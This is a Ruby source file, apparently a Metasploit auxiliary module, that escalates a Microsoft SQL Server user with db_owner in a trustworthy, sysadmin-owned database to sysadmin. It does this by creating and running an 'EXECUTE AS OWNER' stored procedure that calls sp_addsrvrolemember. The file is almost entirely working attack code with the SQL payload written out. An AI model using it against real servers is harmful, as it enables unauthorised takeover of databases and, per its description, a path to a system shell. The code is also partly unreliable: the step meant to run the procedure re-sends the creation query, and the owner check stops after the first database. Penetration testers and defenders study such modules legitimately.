metasploit-framework/modules/auxiliary/admin/mssql/mssql_escalate_dbowner.rb

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##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/exploit/mssql_commands'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::MSSQL
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft SQL Server - Escalate Db_Owner',
'Description' => %q{
This module can be used to escalate privileges to sysadmin if the user has
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the db_owner role in a trustworthy database owned by a sysadmin user. Once
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the user has the sysadmin role the msssql_payload module can be used to obtain
a shell on the system.
},
'Author' => [ 'nullbind <scott.sutherland[at]netspi.com>'],
'License' => MSF_LICENSE,
'References' => [[ 'URL','http://technet.microsoft.com/en-us/library/ms188676(v=sql.105).aspx']]
))
end
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def run
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# Check connection and issue initial query
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print_status("Attempting to connect to the database server at #{rhost}:#{rport} as #{datastore['username']}...")
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if mssql_login_datastore
print_good('Connected.')
else
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print_error('Login was unsuccessful. Check your credentials.')
disconnect
return
end
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# Query for sysadmin status
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print_status("Checking if #{datastore['USERNAME']} has the sysadmin role...")
user_status = check_sysadmin
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# Check if user has sysadmin role
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if user_status == 1
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print_good("#{datastore['username']} has the sysadmin role, no escalation required.")
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disconnect
return
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else
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print_status("You're NOT a sysadmin, let's try to change that")
end
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# Check for trusted databases owned by sysadmins
print_status("Checking for trusted databases owned by sysadmins...")
trust_db_list = check_trustdbs
if trust_db_list == 0
print_error('No databases owned by sysadmin were found flagged as trustworthy.')
disconnect
return
end
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# Display list of accessible databases to user
trust_db_list.each do |db|
print_status(" - #{db[0]}")
end
# Check if the user has the db_owner role in any of the databases
print_status('Checking if the user has the db_owner role in any of them...')
dbowner_status = check_db_owner(trust_db_list)
if dbowner_status == 0
print_error("Fail buckets, the user doesn't have db_owner role anywhere.")
disconnect
return
end
# Attempt to escalate to sysadmin
print_status("Attempting to escalate in #{dbowner_status}!")
escalate_status = escalate_privs(dbowner_status)
if escalate_status == 1
# Check if escalation was successful
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user_status = check_sysadmin
if user_status == 1
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print_good("Congrats, #{datastore['username']} is now a sysadmin!.")
else
print_error("Fail buckets, something went wrong.")
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end
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else
print_error("Error: #{escalate_status}")
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end
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disconnect
return
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end
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# Checks if user is already sysadmin
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def check_sysadmin
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# Setup query to check for sysadmin
sql = "select is_srvrolemember('sysadmin') as IsSysAdmin"
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# Run query
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result = mssql_query(sql)
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# Parse query results
parse_results = result[:rows]
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status = parse_results[0][0]
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# Return status
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return status
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end
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# Gets trusted databases owned by sysadmins
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def check_trustdbs
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# Setup query
sql = "SELECT d.name AS DATABASENAME
FROM sys.server_principals r
INNER JOIN sys.server_role_members m ON r.principal_id = m.role_principal_id
INNER JOIN sys.server_principals p ON
p.principal_id = m.member_principal_id
inner join sys.databases d on suser_sname(d.owner_sid) = p.name
WHERE is_trustworthy_on = 1 AND d.name NOT IN ('MSDB') and r.type = 'R' and r.name = N'sysadmin'"
begin
# Run query
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result = mssql_query(sql)
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rescue
# Return on fail
return 0
end
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# Parse query results
parse_results = result[:rows]
trustedb_count = parse_results.count
print_good("#{trustedb_count} affected database(s) were found:")
# Return on success
return parse_results
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end
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# Checks if user has the db_owner role
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def check_db_owner(trustdb_list)
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# Check if the user has the db_owner role is any databases
trustdb_list.each { |db|
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# Setup query
sql = "use #{db[0]};select db_name() as db,rp.name as database_role, mp.name as database_user
from [#{db[0]}].sys.database_role_members drm
join [#{db[0]}].sys.database_principals rp on (drm.role_principal_id = rp.principal_id)
join [#{db[0]}].sys.database_principals mp on (drm.member_principal_id = mp.principal_id)
where rp.name = 'db_owner' and mp.name = SYSTEM_USER"
# Run query
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result = mssql_query(sql)
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begin
# Parse query results
parse_results = result[:rows]
if parse_results.any?
print_good("- db_owner on #{db[0]} found!")
return db[0]
else
return 0
end
rescue
print_error("- No db_owner on #{db[0]}")
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end
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}
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end
def escalate_privs(dbowner_db)
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# Create the evil stored procedure WITH EXECUTE AS OWNER
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# Setup query
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evil_sql_create = "use #{dbowner_db};
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DECLARE @myevil as varchar(max)
set @myevil = '
CREATE PROCEDURE sp_elevate_me
WITH EXECUTE AS OWNER
as
begin
EXEC sp_addsrvrolemember ''#{datastore['username']}'',''sysadmin''
end';
exec(@myevil);
select 1;"
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begin
# Run query
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mssql_query(evil_sql_create)
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rescue
# Return error
error = 'Failed to create stored procedure.'
return error
end
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# Run the evil stored procedure
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# Setup query
evilsql_run = "use #{dbowner_db};
DECLARE @myevil2 as varchar(max)
set @myevil2 = 'EXEC sp_elevate_me'
exec(@myevil2);"
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begin
# Run query
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mssql_query(evil_sql_create)
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rescue
# Return error
error = 'Failed to run stored procedure.'
return error
end
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# Remove evil procedure
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# Setup query
evilsql_remove = "use #{dbowner_db};
DECLARE @myevil3 as varchar(max)
set @myevil3 = 'DROP PROCEDURE sp_elevate_me'
exec(@myevil3);"
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begin
# Run query
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mssql_query(evilsql_remove)
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# Return value
return 1
rescue
# Return error
error = 'Failed to run stored procedure.'
return error
end
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end
end